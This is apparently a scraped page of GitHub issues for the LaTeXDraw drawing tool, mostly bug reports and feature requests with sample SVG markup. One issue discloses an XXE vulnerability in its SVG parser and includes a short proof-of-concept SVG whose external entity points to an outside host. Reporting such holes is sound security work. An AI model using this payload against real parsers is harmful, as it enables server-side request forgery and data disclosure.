        <text x="387.0" y="339.0">the text looks like having a hot spot on the left lower corner.</text>
    </g>
</g>
<defs/>
<metadata>
    <latexdraw:metadata>
        <latexdraw:centreHoriz>false</latexdraw:centreHoriz>
        <latexdraw:positionVert/>
        <latexdraw:zoom>1.0</latexdraw:zoom>
        <latexdraw:vpx>0.529</latexdraw:vpx>
        <latexdraw:vpy>0.4</latexdraw:vpy>
    </latexdraw:metadata>
</metadata>

Arrow definition

Characteristics

Description

Arrow inset has the wrong sign.

Steps to reproduce

draw a line, choose an arrow with inset and change the inset --> the arrow inset goes in the wrong direction.

(Please provide an input file or code you used to produce the issue)

Suggest/fix, `xattr` fix packaged with install, if not code signing

Characteristics

  • LaTeXDraw version number:
  • Operating System: MacOSX
  • Operating System version: Monterrey
  • Type: bug/feature request

Description

As you are aware use on a mac right now is somewhat fraught. The install instructions for the workaround are nice and convenient, however, at present it breaks the flow in cli installers like Homebrew. The brew folks mention that they have no plans to incorporate the xattr workaround into brew recipes, and suggest that the appropriate solution is to do the code signing work apple asks for.

If that's not an acceptable answer, what I've recently seen others do is package the xattr fix as a part of their install process so that users can merely do a brew install foobar.

Objects being dragged move faster than the mouse cursor

Characteristics

  • LaTeXDraw version number: 4.0.2
  • Operating System: Ubuntu 18.04

Description

When dragging objects, the objects move faster than the cursor.

Steps to reproduce

Draw an object, then drag it with your mouse. The motion matches the mouse motion, but moves farther/faster than the cursor. For example, moving the cursor 5 pixels in one direction while dragging an object may move the object, say, 8 pixels in that direction.

test.svg

LaTeX texts disappear after being compiled on Windows 10

Characteristics

  • LaTeXDraw version number: 4.0
  • Operating System: Windows
  • Operating System version: 10

Description

Add valid LaTeX texts. After being compiled, the rendering LaTeX picture of the text disappears from the UI.

No issue on Linux. Face the issue on Windows 10.

Feature Request: Auto Slide/ Keyframe

Hear me out here :)

I use LaTeXDraw at university to create presentations to explain algorithms to students. This means that I usually draw something like a table with some arrows, copy the output into a \begin{frame} ... \end{frame}

The idea is the following:

  1. You "attach/ import" an existing document and give LD a "starting point"
  2. You start drawing
  3. You press a button "Slide/ Keyframe/Whatever" and whatever is currently drawn on screen will be placed between a \begin{frame} and \end{frame} block.

This way drawing out complex procedures for presentations could become much easier and faster.

Text positions not correctly exported as PDF

Characteristics

Description

chosen text position does not respond to what comes out

Steps to reproduce

draw a circle, place a text into the middle and choose hot spot being the centre
draw two lines through the middle vertical and horizontal
place an E on the left with right/middle as the hot spot
place an E on the right with left/middle as the hot spot
place an I on the top of the vertical line and set the hot spot as the middle bottom
place an I on the bottom of the vertical line and set the hot spot as the middle top

(Please provide an input file or code you used to produce the issue)

<g>
    <g latexdraw:type="circle" id="id2093154629">
        <circle cx="175.0" cy="155.0" r="39.0" latexdraw:borderPos="outer" stroke="black" stroke-width="2.0" fill="none"/>
    </g>
    <g latexdraw:type="text" id="id851307589" fill="black" latexdraw:position="b" transform="rotate(2.8950742258151503 0.0 0.0) translate(7.857780669775593 -9.042946343921244)">
        <text x="175.0" y="160.0">O</text>
    </g>
    <g latexdraw:type="text" id="id931950316" fill="black" latexdraw:position="l" transform="rotate(0.9973318190824124 0.0 0.0) translate(2.880428064565052 -3.917643365281606)">
        <text x="223.61904761904745" y="167.43253968253947">E</text>
    </g>
    <g latexdraw:type="text" id="id814681545" fill="black" latexdraw:position="r" transform="rotate(1.8582564397590544 0.0 0.0) translate(5.344285441472678 -3.999015899453923)">
        <text x="120.61904761904772" y="166.76587301587253">E</text>
    </g>
    <g latexdraw:type="joinedLines" id="id1268261872">
        <polyline points="128.3809523809523,153.36904761904748 219.87301587301567,153.7817460317458 " stroke="black" stroke-width="2.0" fill="none" latexdraw:rotationAngle="0.0"/>
    </g>
    <g latexdraw:type="joinedLines" id="id1487389461">
        <polyline points="175.09523809523785,105.79761904761881 174.96825396825398,204.1468253968253 " stroke="black" stroke-width="2.0" fill="none" latexdraw:rotationAngle="0.0"/>
    </g>
    <g latexdraw:type="text" id="id983755009" fill="black" latexdraw:position="b">
        <text x="174.61904761904748" y="103.22619047619014">I</text>
    </g>
    <g latexdraw:type="text" id="id1294593260" fill="black" latexdraw:position="t">
        <text x="174.61904761904748" y="235.22619047619014">I</text>
    </g>
    <g latexdraw:type="text" id="id1671480573" fill="black" latexdraw:position="bl">
        <text x="188.66666666666674" y="153.52777777777783">A</text>
    </g>
    <g latexdraw:type="text" id="id130987638" fill="black" latexdraw:position="bl">
        <text x="136.66666666666674" y="153.08333333333326">A</text>
    </g>
</g>
<defs/>
<metadata>
    <latexdraw:metadata>
        <latexdraw:centreHoriz>false</latexdraw:centreHoriz>
        <latexdraw:positionVert/>
        <latexdraw:zoom>4.5</latexdraw:zoom>
        <latexdraw:vpx>0.412</latexdraw:vpx>
        <latexdraw:vpy>0.374</latexdraw:vpy>
    </latexdraw:metadata>
</metadata>

XXE in SVG Parsing

The Issue

An XML External Entity attack is a type of attack against an application that parses XML input. This attack occurs when XML input containing a reference to an external entity is processed by a weakly configured XML parser. This attack may lead to the disclosure of confidential data, denial of service, server side request forgery, port scanning from the perspective of the machine where the parser is located, and other system impacts.

Where the Issue Occured

The following code snippet sets an SVG Entity resolver and parses the SVG file retrieved from the URL:
https://github.com/arnobl/latexdraw/blob/9a33fb9a07e29fe1c4efb9cf6cb6ad5bf0d7a832/latexdraw-core/net.sf.latexdraw/src/main/java/net/sf/latexdraw/parsers/svg/SVGDocument.java#L87-L90

To exploit this issue, create an SVG file with the following code:

<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY sp SYSTEM "http://0dd.zone">
]>
<r>&sp;</r>

Text position ignored when loading a file

Characteristics

  • LaTeXDraw version number: 4.0.1
  • Operating System: all

Description

The text's position is ignored on file loading.
Several reasons:

  • for compiled pictures, the image does not exist yet so that the bounding box is not correct
  • the data binding is made before the integration of the text in the scene (so no bounding box)

Steps to reproduce

Open the file:
#28 (comment)

The texts are not at their expected positions.

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.